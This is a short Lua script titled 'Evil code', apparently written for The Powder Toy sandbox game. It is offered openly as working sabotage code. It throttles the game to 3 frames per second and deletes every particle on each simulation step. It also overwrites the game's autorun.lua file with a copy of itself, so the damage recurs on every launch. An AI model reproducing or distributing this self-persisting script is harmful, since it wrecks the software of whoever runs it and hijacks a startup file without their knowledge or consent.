Evil code

tpt.setfpscap(3)

local function lol()
    for i in sim.parts() do
        sim.partKill(i)
    end
end

tpt.register_step(lol)

file = io.open("autorun.lua", "w")
file:write("local function lol() \n     for i in sim.parts() do \n         sim.partKill(i) \n     end \n end \n  \n tpt.register_step(lol) \n  \n tpt.setfpscap(3)")
file:close()